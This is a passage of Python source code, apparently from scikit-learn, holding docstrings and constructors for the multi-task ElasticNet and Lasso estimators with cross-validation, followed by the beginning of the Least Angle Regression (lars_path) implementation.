    alphas : numpy array, optional
        List of alphas where to compute the models.
        If None alphas are set automatically

    precompute : True | False | 'auto' | array-like
        Whether to use a precomputed Gram matrix to speed up
        calculations. If set to ``'auto'`` let us decide. The Gram
        matrix can also be passed as argument.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    verbose : bool or integer
        Amount of verbosity.

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs.

    positive : bool, optional
        When set to ``True``, forces the coefficients to be positive.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    Attributes
    ----------
    alpha_ : float
        The amount of penalization chosen by cross validation

    l1_ratio_ : float
        The compromise between l1 and l2 penalization chosen by
        cross validation

    coef_ : array, shape (n_features,) | (n_targets, n_features)
        Parameter vector (w in the cost function formula),

    intercept_ : float | array, shape (n_targets, n_features)
        Independent term in the decision function.

    mse_path_ : array, shape (n_l1_ratio, n_alpha, n_folds)
        Mean square error for the test set on each fold, varying l1_ratio and
        alpha.

    alphas_ : numpy array, shape (n_alphas,) or (n_l1_ratio, n_alphas)
        The grid of alphas used for fitting, for each l1_ratio.

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance for the optimal alpha.

    Notes
    -----
    See examples/linear_model/plot_lasso_model_selection.py
    for an example.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.

    The parameter l1_ratio corresponds to alpha in the glmnet R package
    while alpha corresponds to the lambda parameter in glmnet.
    More specifically, the optimization objective is::

        1 / (2 * n_samples) * ||y - Xw||^2_2
        + alpha * l1_ratio * ||w||_1
        + 0.5 * alpha * (1 - l1_ratio) * ||w||^2_2

    If you are interested in controlling the L1 and L2 penalty
    separately, keep in mind that this is equivalent to::

        a * L1 + b * L2

    for::

        alpha = a + b and l1_ratio = a / (a + b).

    See also
    --------
    enet_path
    ElasticNet

    """
    path = staticmethod(enet_path)

    def __init__(self, l1_ratio=0.5, eps=1e-3, n_alphas=100, alphas=None,
                 fit_intercept=True, normalize=False, precompute='auto',
                 max_iter=1000, tol=1e-4, cv=None, copy_X=True,
                 verbose=0, n_jobs=1, positive=False, random_state=None,
                 selection='cyclic'):
        self.l1_ratio = l1_ratio
        self.eps = eps
        self.n_alphas = n_alphas
        self.alphas = alphas
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.precompute = precompute
        self.max_iter = max_iter
        self.tol = tol
        self.cv = cv
        self.copy_X = copy_X
        self.verbose = verbose
        self.n_jobs = n_jobs
        self.positive = positive
        self.random_state = random_state
        self.selection = selection


###############################################################################
# Multi Task ElasticNet and Lasso models (with joint feature selection)


class MultiTaskElasticNet(Lasso):
    """Multi-task ElasticNet model trained with L1/L2 mixed-norm as regularizer

    The optimization objective for MultiTaskElasticNet is::

        (1 / (2 * n_samples)) * ||Y - XW||^Fro_2
        + alpha * l1_ratio * ||W||_21
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <multi_task_lasso>`.

    Parameters
    ----------
    alpha : float, optional
        Constant that multiplies the L1/L2 term. Defaults to 1.0

    l1_ratio : float
        The ElasticNet mixing parameter, with 0 < l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an L1/L2 penalty. For l1_ratio = 1 it
        is an L1 penalty.
        For ``0 < l1_ratio < 1``, the penalty is a combination of L1/L2 and L2.

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    warm_start : bool, optional
        When set to ``True``, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    intercept_ : array, shape (n_tasks,)
        Independent term in decision function.

    coef_ : array, shape (n_tasks, n_features)
        Parameter vector (W in the cost function formula). If a 1D y is \
        passed in at fit (non multi-task usage), ``coef_`` is then a 1D array

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.MultiTaskElasticNet(alpha=0.1)
    >>> clf.fit([[0,0], [1, 1], [2, 2]], [[0, 0], [1, 1], [2, 2]])
    ... #doctest: +NORMALIZE_WHITESPACE
    MultiTaskElasticNet(alpha=0.1, copy_X=True, fit_intercept=True,
            l1_ratio=0.5, max_iter=1000, normalize=False, random_state=None,
            selection='cyclic', tol=0.0001, warm_start=False)
    >>> print(clf.coef_)
    [[ 0.45663524  0.45612256]
     [ 0.45663524  0.45612256]]
    >>> print(clf.intercept_)
    [ 0.0872422  0.0872422]

    See also
    --------
    ElasticNet, MultiTaskLasso

    Notes
    -----
    The algorithm used to fit the model is coordinate descent.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.
    """
    def __init__(self, alpha=1.0, l1_ratio=0.5, fit_intercept=True,
                 normalize=False, copy_X=True, max_iter=1000, tol=1e-4,
                 warm_start=False, random_state=None, selection='cyclic'):
        self.l1_ratio = l1_ratio
        self.alpha = alpha
        self.coef_ = None
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.max_iter = max_iter
        self.copy_X = copy_X
        self.tol = tol
        self.warm_start = warm_start
        self.random_state = random_state
        self.selection = selection

    def fit(self, X, y):
        """Fit MultiTaskLasso model with coordinate descent

        Parameters
        -----------
        X : ndarray, shape (n_samples, n_features)
            Data
        y : ndarray, shape (n_samples, n_tasks)
            Target

        Notes
        -----

        Coordinate descent is an algorithm that considers each column of
        data at a time hence it will automatically convert the X input
        as a Fortran-contiguous numpy array if necessary.

        To avoid memory re-allocation it is advised to allocate the
        initial data in memory directly using that format.
        """
        # X and y must be of type float64
        X = check_array(X, dtype=np.float64, order='F',
                        copy=self.copy_X and self.fit_intercept)
        y = check_array(y, dtype=np.float64, ensure_2d=False)

        if hasattr(self, 'l1_ratio'):
            model_str = 'ElasticNet'
        else:
            model_str = 'Lasso'
        if y.ndim == 1:
            raise ValueError("For mono-task outputs, use %s" % model_str)

        n_samples, n_features = X.shape
        _, n_tasks = y.shape

        if n_samples != y.shape[0]:
            raise ValueError("X and y have inconsistent dimensions (%d != %d)"
                             % (n_samples, y.shape[0]))

        X, y, X_offset, y_offset, X_scale = _preprocess_data(
            X, y, self.fit_intercept, self.normalize, copy=False)

        if not self.warm_start or self.coef_ is None:
            self.coef_ = np.zeros((n_tasks, n_features), dtype=np.float64,
                                  order='F')

        l1_reg = self.alpha * self.l1_ratio * n_samples
        l2_reg = self.alpha * (1.0 - self.l1_ratio) * n_samples

        self.coef_ = np.asfortranarray(self.coef_)  # coef contiguous in memory

        if self.selection not in ['random', 'cyclic']:
            raise ValueError("selection should be either random or cyclic.")
        random = (self.selection == 'random')

        self.coef_, self.dual_gap_, self.eps_, self.n_iter_ = \
            cd_fast.enet_coordinate_descent_multi_task(
                self.coef_, l1_reg, l2_reg, X, y, self.max_iter, self.tol,
                check_random_state(self.random_state), random)

        self._set_intercept(X_offset, y_offset, X_scale)

        if self.dual_gap_ > self.eps_:
            warnings.warn('Objective did not converge, you might want'
                          ' to increase the number of iterations')

        # return self for chaining fit and predict calls
        return self


class MultiTaskLasso(MultiTaskElasticNet):
    """Multi-task Lasso model trained with L1/L2 mixed-norm as regularizer

    The optimization objective for Lasso is::

        (1 / (2 * n_samples)) * ||Y - XW||^2_Fro + alpha * ||W||_21

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <multi_task_lasso>`.

    Parameters
    ----------
    alpha : float, optional
        Constant that multiplies the L1/L2 term. Defaults to 1.0

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    warm_start : bool, optional
        When set to ``True``, reuse the solution of the previous call to fit as
        initialization, otherwise, just erase the previous solution.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    coef_ : array, shape (n_tasks, n_features)
        parameter vector (W in the cost function formula)

    intercept_ : array, shape (n_tasks,)
        independent term in decision function.

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.MultiTaskLasso(alpha=0.1)
    >>> clf.fit([[0,0], [1, 1], [2, 2]], [[0, 0], [1, 1], [2, 2]])
    MultiTaskLasso(alpha=0.1, copy_X=True, fit_intercept=True, max_iter=1000,
            normalize=False, random_state=None, selection='cyclic', tol=0.0001,
            warm_start=False)
    >>> print(clf.coef_)
    [[ 0.89393398  0.        ]
     [ 0.89393398  0.        ]]
    >>> print(clf.intercept_)
    [ 0.10606602  0.10606602]

    See also
    --------
    Lasso, MultiTaskElasticNet

    Notes
    -----
    The algorithm used to fit the model is coordinate descent.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.
    """
    def __init__(self, alpha=1.0, fit_intercept=True, normalize=False,
                 copy_X=True, max_iter=1000, tol=1e-4, warm_start=False,
                 random_state=None, selection='cyclic'):
        self.alpha = alpha
        self.coef_ = None
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.max_iter = max_iter
        self.copy_X = copy_X
        self.tol = tol
        self.warm_start = warm_start
        self.l1_ratio = 1.0
        self.random_state = random_state
        self.selection = selection


class MultiTaskElasticNetCV(LinearModelCV, RegressorMixin):
    """Multi-task L1/L2 ElasticNet with built-in cross-validation.

    The optimization objective for MultiTaskElasticNet is::

        (1 / (2 * n_samples)) * ||Y - XW||^Fro_2
        + alpha * l1_ratio * ||W||_21
        + 0.5 * alpha * (1 - l1_ratio) * ||W||_Fro^2

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <multi_task_lasso>`.

    Parameters
    ----------
    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``.

    alphas : array-like, optional
        List of alphas where to compute the models.
        If not provided, set automatically.

    n_alphas : int, optional
        Number of alphas along the regularization path

    l1_ratio : float or array of floats
        The ElasticNet mixing parameter, with 0 < l1_ratio <= 1.
        For l1_ratio = 0 the penalty is an L1/L2 penalty. For l1_ratio = 1 it
        is an L1 penalty.
        For ``0 < l1_ratio < 1``, the penalty is a combination of L1/L2 and L2.
        This parameter can be a list, in which case the different
        values are tested by cross-validation and the one giving the best
        prediction score is used. Note that a good choice of list of
        values for l1_ratio is often to put more values close to 1
        (i.e. Lasso) and less close to 0 (i.e. Ridge), as in ``[.1, .5, .7,
        .9, .95, .99, 1]``

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    max_iter : int, optional
        The maximum number of iterations

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    verbose : bool or integer
        Amount of verbosity.

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs. Note that this is used only if multiple values for
        l1_ratio are given.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    intercept_ : array, shape (n_tasks,)
        Independent term in decision function.

    coef_ : array, shape (n_tasks, n_features)
        Parameter vector (W in the cost function formula).

    alpha_ : float
        The amount of penalization chosen by cross validation

    mse_path_ : array, shape (n_alphas, n_folds) or \
                (n_l1_ratio, n_alphas, n_folds)
        mean square error for the test set on each fold, varying alpha

    alphas_ : numpy array, shape (n_alphas,) or (n_l1_ratio, n_alphas)
        The grid of alphas used for fitting, for each l1_ratio

    l1_ratio_ : float
        best l1_ratio obtained by cross-validation.

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance for the optimal alpha.

    Examples
    --------
    >>> from sklearn import linear_model
    >>> clf = linear_model.MultiTaskElasticNetCV()
    >>> clf.fit([[0,0], [1, 1], [2, 2]],
    ...         [[0, 0], [1, 1], [2, 2]])
    ... #doctest: +NORMALIZE_WHITESPACE
    MultiTaskElasticNetCV(alphas=None, copy_X=True, cv=None, eps=0.001,
           fit_intercept=True, l1_ratio=0.5, max_iter=1000, n_alphas=100,
           n_jobs=1, normalize=False, random_state=None, selection='cyclic',
           tol=0.0001, verbose=0)
    >>> print(clf.coef_)
    [[ 0.52875032  0.46958558]
     [ 0.52875032  0.46958558]]
    >>> print(clf.intercept_)
    [ 0.00166409  0.00166409]

    See also
    --------
    MultiTaskElasticNet
    ElasticNetCV
    MultiTaskLassoCV

    Notes
    -----
    The algorithm used to fit the model is coordinate descent.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.
    """
    path = staticmethod(enet_path)

    def __init__(self, l1_ratio=0.5, eps=1e-3, n_alphas=100, alphas=None,
                 fit_intercept=True, normalize=False,
                 max_iter=1000, tol=1e-4, cv=None, copy_X=True,
                 verbose=0, n_jobs=1, random_state=None, selection='cyclic'):
        self.l1_ratio = l1_ratio
        self.eps = eps
        self.n_alphas = n_alphas
        self.alphas = alphas
        self.fit_intercept = fit_intercept
        self.normalize = normalize
        self.max_iter = max_iter
        self.tol = tol
        self.cv = cv
        self.copy_X = copy_X
        self.verbose = verbose
        self.n_jobs = n_jobs
        self.random_state = random_state
        self.selection = selection


class MultiTaskLassoCV(LinearModelCV, RegressorMixin):
    """Multi-task L1/L2 Lasso with built-in cross-validation.

    The optimization objective for MultiTaskLasso is::

        (1 / (2 * n_samples)) * ||Y - XW||^Fro_2 + alpha * ||W||_21

    Where::

        ||W||_21 = \sum_i \sqrt{\sum_j w_{ij}^2}

    i.e. the sum of norm of each row.

    Read more in the :ref:`User Guide <multi_task_lasso>`.

    Parameters
    ----------
    eps : float, optional
        Length of the path. ``eps=1e-3`` means that
        ``alpha_min / alpha_max = 1e-3``.

    alphas : array-like, optional
        List of alphas where to compute the models.
        If not provided, set automatically.

    n_alphas : int, optional
        Number of alphas along the regularization path

    fit_intercept : boolean
        whether to calculate the intercept for this model. If set
        to false, no intercept will be used in calculations
        (e.g. data is expected to be already centered).

    normalize : boolean, optional, default False
        If ``True``, the regressors X will be normalized before regression.
        This parameter is ignored when ``fit_intercept`` is set to ``False``.
        When the regressors are normalized, note that this makes the
        hyperparameters learnt more robust and almost independent of the number
        of samples. The same property is not valid for standardized data.
        However, if you wish to standardize, please use
        :class:`preprocessing.StandardScaler` before calling ``fit`` on an estimator
        with ``normalize=False``.

    copy_X : boolean, optional, default True
        If ``True``, X will be copied; else, it may be overwritten.

    max_iter : int, optional
        The maximum number of iterations.

    tol : float, optional
        The tolerance for the optimization: if the updates are
        smaller than ``tol``, the optimization code checks the
        dual gap for optimality and continues until it is smaller
        than ``tol``.

    cv : int, cross-validation generator or an iterable, optional
        Determines the cross-validation splitting strategy.
        Possible inputs for cv are:

        - None, to use the default 3-fold cross-validation,
        - integer, to specify the number of folds.
        - An object to be used as a cross-validation generator.
        - An iterable yielding train/test splits.

        For integer/None inputs, :class:`KFold` is used.

        Refer :ref:`User Guide <cross_validation>` for the various
        cross-validation strategies that can be used here.

    verbose : bool or integer
        Amount of verbosity.

    n_jobs : integer, optional
        Number of CPUs to use during the cross validation. If ``-1``, use
        all the CPUs. Note that this is used only if multiple values for
        l1_ratio are given.

    selection : str, default 'cyclic'
        If set to 'random', a random coefficient is updated every iteration
        rather than looping over features sequentially by default. This
        (setting to 'random') often leads to significantly faster convergence
        especially when tol is higher than 1e-4.

    random_state : int, RandomState instance, or None (default)
        The seed of the pseudo random number generator that selects
        a random feature to update. Useful only when selection is set to
        'random'.

    Attributes
    ----------
    intercept_ : array, shape (n_tasks,)
        Independent term in decision function.

    coef_ : array, shape (n_tasks, n_features)
        Parameter vector (W in the cost function formula).

    alpha_ : float
        The amount of penalization chosen by cross validation

    mse_path_ : array, shape (n_alphas, n_folds)
        mean square error for the test set on each fold, varying alpha

    alphas_ : numpy array, shape (n_alphas,)
        The grid of alphas used for fitting.

    n_iter_ : int
        number of iterations run by the coordinate descent solver to reach
        the specified tolerance for the optimal alpha.

    See also
    --------
    MultiTaskElasticNet
    ElasticNetCV
    MultiTaskElasticNetCV

    Notes
    -----
    The algorithm used to fit the model is coordinate descent.

    To avoid unnecessary memory duplication the X argument of the fit method
    should be directly passed as a Fortran-contiguous numpy array.
    """
    path = staticmethod(lasso_path)

    def __init__(self, eps=1e-3, n_alphas=100, alphas=None, fit_intercept=True,
                 normalize=False, max_iter=1000, tol=1e-4, copy_X=True,
                 cv=None, verbose=False, n_jobs=1, random_state=None,
                 selection='cyclic'):
        super(MultiTaskLassoCV, self).__init__(
            eps=eps, n_alphas=n_alphas, alphas=alphas,
            fit_intercept=fit_intercept, normalize=normalize,
            max_iter=max_iter, tol=tol, copy_X=copy_X,
            cv=cv, verbose=verbose, n_jobs=n_jobs, random_state=random_state,
            selection=selection)






"""
Least Angle Regression algorithm. See the documentation on the
Generalized Linear Model for a complete discussion.
"""
from __future__ import print_function

# Author: Fabian Pedregosa <fabian.pedregosa@inria.fr>
#         Alexandre Gramfort <alexandre.gramfort@inria.fr>
#         Gael Varoquaux
#
# License: BSD 3 clause

from math import log
import sys
import warnings
from distutils.version import LooseVersion

import numpy as np
from scipy import linalg, interpolate
from scipy.linalg.lapack import get_lapack_funcs

from .base import LinearModel
from ..base import RegressorMixin
from ..utils import arrayfuncs, as_float_array, check_X_y
from ..model_selection import check_cv
from ..exceptions import ConvergenceWarning
from ..externals.joblib import Parallel, delayed
from ..externals.six.moves import xrange
from ..externals.six import string_types

import scipy
solve_triangular_args = {}
if LooseVersion(scipy.__version__) >= LooseVersion('0.12'):
    solve_triangular_args = {'check_finite': False}


def lars_path(X, y, Xy=None, Gram=None, max_iter=500,
              alpha_min=0, method='lar', copy_X=True,
              eps=np.finfo(np.float).eps,
              copy_Gram=True, verbose=0, return_path=True,
              return_n_iter=False, positive=False):
    """Compute Least Angle Regression or Lasso path using LARS algorithm [1]

    The optimization objective for the case method='lasso' is::

    (1 / (2 * n_samples)) * ||y - Xw||^2_2 + alpha * ||w||_1

    in the case of method='lars', the objective function is only known in
    the form of an implicit equation (see discussion in [1])

    Read more in the :ref:`User Guide <least_angle_regression>`.

    Parameters
    -----------
    X : array, shape: (n_samples, n_features)
        Input data.

    y : array, shape: (n_samples)
        Input targets.

    positive : boolean (default=False)
        Restrict coefficients to be >= 0.
        When using this option together with method 'lasso' the model
        coefficients will not converge to the ordinary-least-squares solution
        for small values of alpha (neither will they when using method 'lar'
        ..). Only coefficients up to the smallest alpha value (``alphas_[alphas_ >
        0.].min()`` when fit_path=True) reached by the stepwise Lars-Lasso
        algorithm are typically in congruence with the solution of the
        coordinate descent lasso_path function.

    max_iter : integer, optional (default=500)
        Maximum number of iterations to perform, set to infinity for no limit.

    Gram : None, 'auto', array, shape: (n_features, n_features), optional
        Precomputed Gram matrix (X' * X), if ``'auto'``, the Gram
        matrix is precomputed from the given X, if there are more samples
        than features.

    alpha_min : float, optional (default=0)
        Minimum correlation along the path. It corresponds to the
        regularization parameter alpha parameter in the Lasso.

    method : {'lar', 'lasso'}, optional (default='lar')
        Specifies the returned model. Select ``'lar'`` for Least Angle
        Regression, ``'lasso'`` for the Lasso.

    eps : float, optional (default=``np.finfo(np.float).eps``)
        The machine-precision regularization in the computation of the
        Cholesky diagonal factors. Increase this for very ill-conditioned
        systems.

    copy_X : bool, optional (default=True)
        If ``False``, ``X`` is overwritten.

    copy_Gram : bool, optional (default=True)
        If ``False``, ``Gram`` is overwritten.

    verbose : int (default=0)
        Controls output verbosity.

    return_path : bool, optional (default=True)
        If ``return_path==True`` returns the entire path, else returns only the
        last point of the path.

    return_n_iter : bool, optional (default=False)
        Whether to return the number of iterations.

    Returns
    --------
    alphas : array, shape: [n_alphas + 1]
        Maximum of covariances (in absolute value) at each iteration.
        ``n_alphas`` is either ``max_iter``, ``n_features`` or the
        number of nodes in the path with ``alpha >= alpha_min``, whichever
        is smaller.

    active : array, shape [n_alphas]
        Indices of active variables at the end of the path.

    coefs : array, shape (n_features, n_alphas + 1)
        Coefficients along the path

    n_iter : int
        Number of iterations run. Returned only if return_n_iter is set
        to True.

    See also
    --------
    lasso_path
    LassoLars
    Lars
    LassoLarsCV
    LarsCV
    sklearn.decomposition.sparse_encode

    References
    ----------
    .. [1] "Least Angle Regression", Effron et al.
           http://statweb.stanford.edu/~tibs/ftp/lars.pdf

    .. [2] `Wikipedia entry on the Least-angle regression
           <https://en.wikipedia.org/wiki/Least-angle_regression>`_

    .. [3] `Wikipedia entry on the Lasso
           <https://en.wikipedia.org/wiki/Lasso_(statistics)>`_

    """

    n_features = X.shape[1]
    n_samples = y.size
    max_features = min(max_iter, n_features)

    if return_path:
        coefs = np.zeros((max_features + 1, n_features))
        alphas = np.zeros(max_features + 1)
    else:
        coef, prev_coef = np.zeros(n_features), np.zeros(n_features)
        alpha, prev_alpha = np.array([0.]), np.array([0.])  # better ideas?

    n_iter, n_active = 0, 0
    active, indices = list(), np.arange(n_features)
    # holds the sign of covariance
    sign_active = np.empty(max_features, dtype=np.int8)
    drop = False

    # will hold the cholesky factorization. Only lower part is
    # referenced.
    # We are initializing this to "zeros" and not empty, because
    # it is passed to scipy linalg functions and thus if it has NaNs,
    # even if they are in the upper part that it not used, we
    # get errors raised.
    # Once we support only scipy > 0.12 we can use check_finite=False and
    # go back to "empty"
    L = np.zeros((max_features, max_features), dtype=X.dtype)
    swap, nrm2 = linalg.get_blas_funcs(('swap', 'nrm2'), (X,))
    solve_cholesky, = get_lapack_funcs(('potrs',), (X,))

    if Gram is None:
        if copy_X:
            # force copy. setting the array to be fortran-ordered
            # speeds up the calculation of the (partial) Gram matrix
            # and allows to easily swap columns
            X = X.copy('F')
    elif isinstance(Gram, string_types) and Gram == 'auto':
        Gram = None
        if X.shape[0] > X.shape[1]:
            Gram = np.dot(X.T, X)
    elif copy_Gram:
        Gram = Gram.copy()

    if Xy is None:
        Cov = np.dot(X.T, y)
    else:
        Cov = Xy.copy()

    if verbose:
        if verbose > 1:
            print("Step\t\tAdded\t\tDropped\t\tActive set size\t\tC")
        else:
            sys.stdout.write('.')
            sys.stdout.flush()

    tiny = np.finfo(np.float).tiny  # to avoid division by 0 warning
    tiny32 = np.finfo(np.float32).tiny  # to avoid division by 0 warning
    equality_tolerance = np.finfo(np.float32).eps

    while True:
        if Cov.size:
            if positive:
                C_idx = np.argmax(Cov)
            else:
                C_idx = np.argmax(np.abs(Cov))

            C_ = Cov[C_idx]

            if positive:
                C = C_
            else:
                C = np.fabs(C_)
        else:
            C = 0.

        if return_path:
            alpha = alphas[n_iter, np.newaxis]
            coef = coefs[n_iter]
            prev_alpha = alphas[n_iter - 1, np.newaxis]
            prev_coef = coefs[n_iter - 1]

        alpha[0] = C / n_samples
        if alpha[0] <= alpha_min + equality_tolerance:  # early stopping
            if abs(alpha[0] - alpha_min) > equality_tolerance:
                # interpolation factor 0 <= ss < 1
                if n_iter > 0:
                    # In the first iteration, all alphas are zero, the formula
                    # below would make ss a NaN
                    ss = ((prev_alpha[0] - alpha_min) /
                          (prev_alpha[0] - alpha[0]))
                    coef[:] = prev_coef + ss * (coef - prev_coef)
                alpha[0] = alpha_min
            if return_path:
                coefs[n_iter] = coef
            break

        if n_iter >= max_iter or n_active >= n_features:
            break

        if not drop:

            ##########################################################
            # Append x_j to the Cholesky factorization of (Xa * Xa') #
            #                                                        #
            #            ( L   0 )                                   #
            #     L  ->  (       )  , where L * w = Xa' x_j          #
            #            ( w   z )    and z = ||x_j||                #
            #                                                        #
            ##########################################################

            if positive:
                sign_active[n_active] = np.ones_like(C_)
            else:
                sign_active[n_active] = np.sign(C_)
            m, n = n_active, C_idx + n_active

            Cov[C_idx], Cov[0] = swap(Cov[C_idx], Cov[0])
            indices[n], indices[m] = indices[m], indices[n]
            Cov_not_shortened = Cov
            Cov = Cov[1:]  # remove Cov[0]

            if Gram is None:
                X.T[n], X.T[m] = swap(X.T[n], X.T[m])
                c = nrm2(X.T[n_active]) ** 2
                L[n_active, :n_active] = \
                    np.dot(X.T[n_active], X.T[:n_active].T)
            else:
                # swap does only work inplace if matrix is fortran
                # contiguous ...
                Gram[m], Gram[n] = swap(Gram[m], Gram[n])
                Gram[:, m], Gram[:, n] = swap(Gram[:, m], Gram[:, n])
                c = Gram[n_active, n_active]
                L[n_active, :n_active] = Gram[n_active, :n_active]

            # Update the cholesky decomposition for the Gram matrix
            if n_active:
                linalg.solve_triangular(L[:n_active, :n_active],
                                        L[n_active, :n_active],
                                        trans=0, lower=1,
                                        overwrite_b=True,
                                        **solve_triangular_args)

            v = np.dot(L[n_active, :n_active], L[n_active, :n_active])
            diag = max(np.sqrt(np.abs(c - v)), eps)
            L[n_active, n_active] = diag

            if diag < 1e-7:
                # The system is becoming too ill-conditioned.
                # We have degenerate vectors in our active set.
                # We'll 'drop for good' the last regressor added.

                # Note: this case is very rare. It is no longer triggered by
                # the test suite. The `equality_tolerance` margin added in 0.16
                # to get early stopping to work consistently on all versions of
                # Python including 32 bit Python under Windows seems to make it
                # very difficult to trigger the 'drop for good' strategy.
                warnings.warn('Regressors in active set degenerate. '
                              'Dropping a regressor, after %i iterations, '
                              'i.e. alpha=%.3e, '
                              'with an active set of %i regressors, and '
                              'the smallest cholesky pivot element being %.3e'
                              % (n_iter, alpha, n_active, diag),
                              ConvergenceWarning)
